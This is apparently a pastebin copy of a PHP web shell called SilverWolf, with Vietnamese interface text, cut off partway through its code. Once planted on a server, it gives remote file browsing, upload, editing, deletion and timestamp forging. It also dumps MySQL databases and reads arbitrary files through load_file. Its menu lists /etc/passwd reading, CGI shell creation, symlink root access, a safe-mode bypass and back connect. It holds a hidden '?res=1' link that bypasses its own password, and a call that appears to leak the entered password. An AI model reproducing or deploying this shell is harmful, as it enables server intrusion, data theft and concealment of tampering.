· 10 years ago · Jan 10, 2016, 04:24 PM
1<?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
8define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
9define('IS_COM', class_exists('COM') ? 1 : 0 );
10define('IS_GPC', get_magic_quotes_gpc());
11$dis_func = get_cfg_var('disable_functions');
12define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
13@set_time_limit(0);
14foreach(array('_GET','_POST') as $_request) {
15 foreach($$_request as $_key => $_value) {
16 if ($_key{0} != '_') {
17 if (IS_GPC) {
18 $_value = s_array($_value);
19 }
20 $$_key = $_value;
21 }
22 }
23}
24$admin = array();
25$admin['check'] = true;
26$admin['pass'] = '0a32677cb55b58ed4056561717b652de';
27
28$admin['cookiename'] = 'AkajiR0';
29$admin['cookiepre'] = '';
30$admin['cookiedomain'] = '';
31$admin['cookiepath'] = '/';
32$admin['cookielife'] = 86400;
33
34if ($charset == 'utf8') {
35 header("content-Type: text/html; charset=utf-8");
36} elseif ($charset == 'big5') {
37 header("content-Type: text/html; charset=big5");
38} elseif ($charset == 'gbk') {
39 header("content-Type: text/html; charset=gbk");
40} elseif ($charset == 'latin1') {
41 header("content-Type: text/html; charset=iso-8859-2");
42}
43
44$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
45$timestamp = time();
46
47/*===================== Login =====================*/
48if ($action == "logout") {
49 scookie($admin['cookiename'], '', -86400 * 365);
50 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
51 p('<body background=black>');
52 exit;
53}
54
55if($admin['check']) {
56 if ($doing == 'login') {
57 if ($admin['pass'] == md5($password)) {
58 scookie($admin['cookiename'], $admin['pass']);
59 //Store current session
60 doSmt($password);
61 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
62 p('<body bgcolor=black>
63<BR><BR><div align=center><font color=yellow face=tahoma size=2>Loading Shell...<BR><img src=https://silverwolf-share-tools.googlecode.com/svn/loading.jpg></div>');
64 exit;
65 }
66
67 else
68 {
69 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Wrong password!!!</blink><BR></font></div></td><td bgcolor=#000000><font color=black><a href="?res=1"> </a></font></td></tr></table>';
70 echo $err_mess;
71 }}
72 if(isset($_GET['res']))
73 {
74 scookie($admin['cookiename'], $admin['pass']);
75 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
76 p('<body bgcolor=black><BR><BR><div align=center><font color=yellow face=tahoma size=2>Loading Shell...<BR><img src=https://silverwolf-share-tools.googlecode.com/svn/loading.jpg></div>');
77 exit;
78 }
79 if ($_COOKIE[$admin['cookiename']]) {
80 if ($_COOKIE[$admin['cookiename']] != $admin['pass']) {
81 echo $_COOKIE[$admin['cookiename']];
82 loginpage();
83 }
84 } else {
85 echo $_COOKIE[$admin['cookiename']];
86 loginpage();
87 }
88
89}
90/*===================== Login =====================*/
91
92$errmsg = '';
93
94if ($action == 'phpinfo') {
95 if (IS_PHPINFO) {
96 phpinfo();
97 } else {
98 $errmsg = 'phpinfo() function has non-permissible';
99 }
100}
101
102
103if ($doing == 'downfile' && $thefile) {
104 if (!@file_exists($thefile)) {
105 $errmsg = 'The file you want Downloadable was nonexistent';
106 } else {
107 $fileinfo = pathinfo($thefile);
108 header('Content-type: application/x-'.$fileinfo['extension']);
109 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
110 header('Content-Length: '.filesize($thefile));
111 @readfile($thefile);
112 exit;
113 }
114}
115
116if ($doing == 'backupmysql' && !$saveasfile) {
117 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
118 $table = array_flip($table);
119 $result = q("SHOW tables");
120 if (!$result) p('<h2>'.mysql_error().'</h2>');
121 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
122 header('Content-type: application/unknown');
123 header('Content-Disposition: attachment; filename='.$filename);
124 $mysqldata = '';
125 while ($currow = mysql_fetch_array($result)) {
126 if (isset($table[$currow[0]])) {
127 $mysqldata .= sqldumptable($currow[0]);
128 }
129 }
130 mysql_close();
131 exit;
132}
133
134// Mysql
135if($doing=='mysqldown'){
136 if (!$dbname) {
137 $errmsg = ' dbname';
138 } else {
139 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
140 if (!file_exists($mysqldlfile)) {
141 $errmsg = 'The file you want Downloadable was nonexistent';
142 } else {
143 $result = q("select load_file('$mysqldlfile');");
144 if(!$result){
145 q("DROP TABLE IF EXISTS tmp_angel;");
146 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
147 //Download SQL
148 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
149 $result = q("select content from tmp_angel");
150 q("DROP TABLE tmp_angel");
151 }
152 $row = @mysql_fetch_array($result);
153 if (!$row) {
154 $errmsg = 'Load file failed '.mysql_error();
155 } else {
156 $fileinfo = pathinfo($mysqldlfile);
157 header('Content-type: application/x-'.$fileinfo['extension']);
158 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
159 header("Accept-Length: ".strlen($row[0]));
160 echo $row[0];
161 exit;
162 }
163 }
164 }
165}
166?>
167<html>
168<head>
169<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
170<title>---00o00 _DOIKHONGLUYPHIEN_ 00o00---</title>
171<style type="text/css">
172body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
173
174a {color: #74A202;text-decoration:none;}
175a:hover{color: #f00;text-decoration:underline;}
176.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
177.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
178.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
179.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
180.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
181.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
182.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
183.head td span{font-weight:normal;}
184form{margin:0;padding:0;}
185h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
186ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
187u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
188input, textarea, button
189{
190 font-size: 9pt;
191 color: #ccc;
192 font-family: verdana, sans-serif;
193 background-color: #202020;
194 border-left: 1px solid #74A202;
195 border-top: 1px solid #74A202;
196 border-right: 1px solid #74A202;
197 border-bottom: 1px solid #74A202;
198}
199select
200{
201 font-size: 8pt;
202 font-weight: normal;
203 color: #ccc;
204 font-family: verdana, sans-serif;
205 background-color: #202020;
206}
207
208</style>
209<script type="text/javascript">
210function CheckAll(form) {
211 for(var i=0;i<form.elements.length;i++) {
212 var e = form.elements[i];
213 if (e.name != 'chkall')
214 e.checked = form.chkall.checked;
215 }
216}
217function $(id) {
218 return document.getElementById(id);
219}
220function goaction(act){
221 $('goaction').action.value=act;
222 $('goaction').submit();
223}
224</script>
225</head>
226<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=https://silverwolf-share-tools.googlecode.com/svn/th_matrix.gif>
227<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
228 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
229 <tr>
230 <td align="center" valign=center>
231 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
232 Loading<img src="https://silverwolf-share-tools.googlecode.com/svn/loading.gif">
233 </div>
234 </td>
235 </tr>
236 </table>
237</div>
238 <script>
239 var ld=(document.all);
240 var ns4=document.layers;
241 var ns6=document.getElementById&&!document.all;
242 var ie4=document.all;
243 if (ns4)
244 ld=document.loading;
245 else if (ns6)
246 ld=document.getElementById("loading").style;
247 else if (ie4)
248 ld=document.all.loading.style;
249 function init()
250 {
251 if(ns4){ld.visibility="hidden";}
252 else if (ns6||ie4) ld.display="none";
253 }
254 </script>
255<table width="100%" border="0" cellpadding="0" cellspacing="0">
256 <tr class="head_small">
257 <td width=100%>
258 <table width=100%><tr class="head_small"><td width=86px><p><a title=" .:: Warning ! This shell is used for education purpose ::. " href="<?php $self;?>"><img src=https://fbcdn-profile-a.akamaihd.net/hprofile-ak-ash3/c0.0.180.180/s160x160/943627_383486545099035_185948157_a.jpg height=86 border=0></a></p>
259 </td>
260 <td>
261
262 <span style="float:left;"> <?php echo "Host: ".$_SERVER['HTTP_HOST']."";?> | Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> | Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>
263 | <a href="https://www.facebook.com/hoi.hacker.vn" target="_blank"><?php echo str_replace('.','','SilverWolf');?> </a> | <a href="javascript:goaction('logout');"><font color=red> Logout</font></a></span> <br />
264
265 <?php
266 $curl_on = @function_exists('curl_version');
267 $mysql_on = @function_exists('mysql_connect');
268 $mssql_on = @function_exists('mssql_connect');
269 $pg_on = @function_exists('pg_connect');
270 $ora_on = @function_exists('ocilogon');
271
272echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
273echo "PHP version: <b>".@phpversion()."</b> - ";
274 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
275 echo "MySQL: <b>";
276$mysql_on = @function_exists('mysql_connect');
277if($mysql_on){
278echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
279echo "MSSQL: <b>";
280$mssql_on = @function_exists('mssql_connect');
281if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
282echo "PostgreSQL: <b>";
283$pg_on = @function_exists('pg_connect');
284if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
285echo "Oracle: <b>";
286$ora_on = @function_exists('ocilogon');
287if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
288
289echo "Disable functions : <b>";
290if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
291
292echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
293echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
294 ?>
295</td></tr></table></td>
296 </tr>
297 <tr class="alt1">
298 <td width=10%><a href="javascript:goaction('file');">Files | </a>
299 <a href="javascript:goaction('sqladmin');">SQL | </a>
300 <a href="javascript:goaction('newcommand');">Visual CMD | </a>
301 <a href="javascript:goaction('dumper');">Dumper | </a>
302 <a href="javascript:goaction('upshell');">OSS Shell Upload | </a>
303 <a href="javascript:goaction('changepas');">OSS Pass Changer | </a>
304 <a href="javascript:goaction('symroot');">HD Hack VPS | </a>
305 <a href="javascript:goaction('command');">CMD | </a>
306 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
307 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('error.log');">Create CGI Shell</a><?php }?>
308 <?php if (!IS_WIN) {?> | <a href="error/error.log" target="_blank">Open CGI</a><?php }?>
309 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('symroot');">Sym Root</a><?php }?>
310 <?php if (!IS_WIN) {?> | <a href="sym/" target="_blank">Open Sym </a><?php }?>
311 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('bypass');">By Pass</a><?php }?>
312 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('leech');">Leech</a><?php }?>
313 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back connect</a><?php }?>
314 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('reverseip');">Reverse IP</a><?php }?>
315 </td>
316 </tr>
317</table>
318<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
319<?php
320
321formhead(array('name'=>'goaction'));
322makehide('action');
323formfoot();
324
325$errmsg && m($errmsg);
326
327// Dir function
328!$dir && $dir = '.';
329$nowpath = getPath(SA_ROOT, $dir);
330if (substr($dir, -1) != '/') {
331 $dir = $dir.'/';
332}
333$uedir = ue($dir);
334
335if (!$action || $action == 'file') {
336
337 // Non-writeable
338 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
339
340 // Delete dir
341 if ($doing == 'deldir' && $thefile) {
342 if (!file_exists($thefile)) {
343 m($thefile.' directory does not exist');
344 } else {
345 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
346 }
347 }
348
349 // Create new dir
350 elseif ($newdirname) {
351 $mkdirs = $nowpath.$newdirname;
352 if (file_exists($mkdirs)) {
353 m('Directory has already existed');
354 } else {
355 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
356 @chmod($mkdirs,0777);
357 }
358 }
359
360 // Upload file
361 elseif ($doupfile) {
362 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
363 }
364
365 // Edit file
366 elseif ($editfilename && $filecontent) {
367 $fp = @fopen($editfilename,'w');
368 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
369 @fclose($fp);
370 }
371
372 // Modify
373 elseif ($pfile && $newperm) {
374 if (!file_exists($pfile)) {
375 m('The original file does not exist');
376 } else {
377 $newperm = base_convert($newperm,8,10);
378 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
379 }
380 }
381
382 // Rename
383 elseif ($oldname && $newfilename) {
384 $nname = $nowpath.$newfilename;
385 if (file_exists($nname) || !file_exists($oldname)) {
386 m($nname.' has already existed or original file does not exist');
387 } else {
388 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
389 }
390 }
391
392 // Copu
393 elseif ($sname && $tofile) {
394 if (file_exists($tofile) || !file_exists($sname)) {
395 m('The goal file has already existed or original file does not exist');
396 } else {
397 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
398 }
399 }
400
401 // File exit
402 elseif ($curfile && $tarfile) {
403 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
404 m('The goal file has already existed or original file does not exist');
405 } else {
406 $time = @filemtime($tarfile);
407 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
408 }
409 }
410
411 // Date
412 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
413 if (!@file_exists($curfile)) {
414 m(basename($curfile).' does not exist');
415 } else {
416 $time = strtotime("$year-$month-$day $hour:$minute:$second");
417 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
418 }
419 }
420
421 // Download
422 elseif($doing == 'downrar') {
423 if ($dl) {
424 $dfiles='';
425 foreach ($dl as $filepath => $value) {
426 $dfiles.=$filepath.',';
427 }
428 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
429 $dl=explode(',',$dfiles);
430 $zip=new PHPZip($dl);
431 $code=$zip->out;
432 header('Content-type: application/octet-stream');
433 header('Accept-Ranges: bytes');
434 header('Accept-Length: '.strlen($code));
435 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
436 echo $code;
437 exit;
438 } else {
439 m('Please select file(s)');
440 }
441 }
442
443 // Delete file
444 elseif($doing == 'delfiles') {
445 if ($dl) {
446 $dfiles='';
447 $succ = $fail = 0;
448 foreach ($dl as $filepath => $value) {
449 if (@unlink($filepath)) {
450 $succ++;
451 } else {
452 $fail++;
453 }
454 }
455
456 m('Deleted >> success '.$succ.' fail '.$fail);
457 } else {
458 m('Please select file(s)');
459 }
460 }
461
462 // Function Newdir
463 formhead(array('name'=>'createdir'));
464 makehide('newdirname');
465 makehide('dir',$nowpath);
466 formfoot();
467 formhead(array('name'=>'fileperm'));
468 makehide('newperm');
469 makehide('pfile');
470 makehide('dir',$nowpath);
471 formfoot();
472 formhead(array('name'=>'copyfile'));
473 makehide('sname');
474 makehide('tofile');
475 makehide('dir',$nowpath);
476 formfoot();
477 formhead(array('name'=>'rename'));
478 makehide('oldname');
479 makehide('newfilename');
480 makehide('dir',$nowpath);
481 formfoot();
482 formhead(array('name'=>'fileopform'));
483 makehide('action');
484 makehide('opfile');
485 makehide('dir');
486 formfoot();
487
488 $free = @disk_free_space($nowpath);
489 !$free && $free = 0;
490 $all = @disk_total_space($nowpath);
491 !$all && $all = 0;
492 $used = $all-$free;
493 $used_percent = @round(100/($all/$free),2);
494 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
495
496?>
497<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
498 <form action="" method="post" id="godir" name="godir">
499 <tr>
500 <td nowrap>Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
501 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
502 <td nowrap><input class="bt" value="Tá»›i" type="submit"></td>
503 </tr>
504 </form>
505</table>
506<script type="text/javascript">
507function createdir(){
508 var newdirname;
509 newdirname = prompt('directory name:', '');
510 if (!newdirname) return;
511 $('createdir').newdirname.value=newdirname;
512 $('createdir').submit();
513}
514function fileperm(pfile){
515 var newperm;
516 newperm = prompt('Current file:'+pfile+'\n new attribute:', '');
517 if (!newperm) return;
518 $('fileperm').newperm.value=newperm;
519 $('fileperm').pfile.value=pfile;
520 $('fileperm').submit();
521}
522function copyfile(sname){
523 var tofile;
524 tofile = prompt('Original file:'+sname+'\n object file (fullpath):', '');
525 if (!tofile) return;
526 $('copyfile').tofile.value=tofile;
527 $('copyfile').sname.value=sname;
528 $('copyfile').submit();
529}
530function rename(oldname){
531 var newfilename;
532 newfilename = prompt('Former file name:'+oldname+'\n new filename:', '');
533 if (!newfilename) return;
534 $('rename').newfilename.value=newfilename;
535 $('rename').oldname.value=oldname;
536 $('rename').submit();
537}
538function dofile(doing,thefile,m){
539 if (m && !confirm(m)) {
540 return;
541 }
542 $('filelist').doing.value=doing;
543 if (thefile){
544 $('filelist').thefile.value=thefile;
545 }
546 $('filelist').submit();
547}
548function createfile(nowpath){
549 var filename;
550 filename = prompt('file name:', '');
551 if (!filename) return;
552 opfile('editfile',nowpath + filename,nowpath);
553}
554function opfile(action,opfile,dir){
555 $('fileopform').action.value=action;
556 $('fileopform').opfile.value=opfile;
557 $('fileopform').dir.value=dir;
558 $('fileopform').submit();
559}
560function godir(dir,view_writable){
561 if (view_writable) {
562 $('godir').view_writable.value=1;
563 }
564 $('godir').dir.value=dir;
565 $('godir').submit();
566}
567</script>
568 <?php
569 tbhead();
570 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
571 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
572 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">Trang Chá»§</a>');
573 if ($view_writable) {
574 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
575 } else {
576 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
577 }
578 p(' | <a href="javascript:createdir();">Tạo Thư Mục</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Tạo File</a>');
579 if (IS_WIN && IS_COM) {
580 $obj = new COM('scripting.filesystemobject');
581 if ($obj && is_object($obj)) {
582 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'á»”',3 => 'Network',4 => 'á»” CD',5 => 'RAM Disk');
583 foreach($obj->Drives as $drive) {
584 if ($drive->DriveType == 2) {
585 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
586 } else {
587 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
588 }
589 }
590 }
591 }
592
593 p('</td></tr></form>');
594
595 p('<tr class="head"><td> </td><td>Tên</td><td width="16%">Ngà y thay đổi</td><td width="10%">Dung lượng</td><td width="20%">Chmod / Perms</td><td width="22%">Chức năng</td></tr>');
596
597 // Get path
598 $dirdata=array();
599 $filedata=array();
600
601 if ($view_writable) {
602 $dirdata = GetList($nowpath);
603 } else {
604 // Open dir
605 $dirs=@opendir($dir);
606 while ($file=@readdir($dirs)) {
607 $filepath=$nowpath.$file;
608 if(@is_dir($filepath)){
609 $dirdb['filename']=$file;
610 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
611 $dirdb['dirchmod']=getChmod($filepath);
612 $dirdb['dirperm']=getPerms($filepath);
613 $dirdb['fileowner']=getUser($filepath);
614 $dirdb['dirlink']=$nowpath;
615 $dirdb['server_link']=$filepath;
616 $dirdb['client_link']=ue($filepath);
617 $dirdata[]=$dirdb;
618 } else {
619 $filedb['filename']=$file;
620 $filedb['size']=sizecount(@filesize($filepath));
621 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
622 $filedb['filechmod']=getChmod($filepath);
623 $filedb['fileperm']=getPerms($filepath);
624 $filedb['fileowner']=getUser($filepath);
625 $filedb['dirlink']=$nowpath;
626 $filedb['server_link']=$filepath;
627 $filedb['client_link']=ue($filepath);
628 $filedata[]=$filedb;
629 }
630 }// while
631 unset($dirdb);
632 unset($filedb);
633 @closedir($dirs);
634 }
635 @sort($dirdata);
636 @sort($filedata);
637 $dir_i = '0';
638 foreach($dirdata as $key => $dirdb){
639 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
640 $thisbg = bg();
641 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
642 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
643 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
644 p('<td nowrap>'.$dirdb['mtime'].'</td>');
645 p('<td nowrap>--</td>');
646 p('<td nowrap>');
647 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
648 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
649 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Xóa</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Äổi Tên</a></td>');
650 p('</tr>');
651 $dir_i++;
652 } else {
653 if($dirdb['filename']=='..') {
654 p('<tr class=fout>');
655 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
656 p('</tr>');
657 }
658 }
659 }
660
661 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
662 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
663 makehide('action','file');
664 makehide('thefile');
665 makehide('doing');
666 makehide('dir',$nowpath);
667 $file_i = '0';
668 foreach($filedata as $key => $filedb){
669 if($filedb['filename']!='..' && $filedb['filename']!='.') {
670 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
671 $thisbg = bg();
672 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
673 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
674 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
675 p('<td nowrap>'.$filedb['mtime'].'</td>');
676 p('<td nowrap>'.$filedb['size'].'</td>');
677 p('<td nowrap>');
678 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
679 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
680 p('<td nowrap>');
681 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Tải</a> | ');
682 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
683 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Sá»a</a> | ');
684 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Äổi tên</a> | ');
685 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
686 p('</td></tr>');
687 $file_i++;
688 }
689 }
690 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Chá»n hết</a> - <a href="javascript:dofile(\'delfiles\');">Xóa</a></td><td colspan="4" align="right">'.$dir_i.' Thư mục / '.$file_i.' Tệp tin</td></tr>');
691 p('</form></table>');
692}// end dir
693
694
695?>
696<script type="text/javascript">
697function mysqlfile(doing){
698 if(!doing) return;
699 $('doing').value=doing;
700 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
701 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
702 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
703 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
704 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
705 $('mysqlfile').charset.value=$('dbinfo').charset.value;
706 $('mysqlfile').submit();
707}
708</script>
709<?php
710
711if ($action == 'sqladmin') {
712 !$dbhost && $dbhost = 'localhost';
713 !$dbuser && $dbuser = 'root';
714 !$dbport && $dbport = '3306';
715 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
716 if(isset($dbhost)){
717 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
718 }
719 if(isset($dbuser)) {
720 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
721 }
722 if(isset($dbpass)) {
723 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
724 }
725 if(isset($dbport)) {
726 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
727 }
728 if(isset($dbname)) {
729 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
730 }
731 if(isset($charset)) {
732 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
733 }
734
735 if ($doing == 'backupmysql' && $saveasfile) {
736 if (!$table) {
737 m('Please choose the table');
738 } else {
739 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
740 $table = array_flip($table);
741 $fp = @fopen($path,'w');
742 if ($fp) {
743 $result = q('SHOW tables');
744 if (!$result) p('<h2>'.mysql_error().'</h2>');
745 $mysqldata = '';
746 while ($currow = mysql_fetch_array($result)) {
747 if (isset($table[$currow[0]])) {
748 sqldumptable($currow[0], $fp);
749 }
750 }
751 fclose($fp);
752 $fileurl = str_replace(SA_ROOT,'',$path);
753 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
754 mysql_close();
755 } else {
756 m('Backup failed');
757 }
758 }
759 }
760 if ($insert && $insertsql) {
761 $keystr = $valstr = $tmp = '';
762 foreach($insertsql as $key => $val) {
763 if ($val) {
764 $keystr .= $tmp.$key;
765 $valstr .= $tmp."'".addslashes($val)."'";
766 $tmp = ',';
767 }
768 }
769 if ($keystr && $valstr) {
770 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
771 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
772 }
773 }
774 if ($update && $insertsql && $base64) {
775 $valstr = $tmp = '';
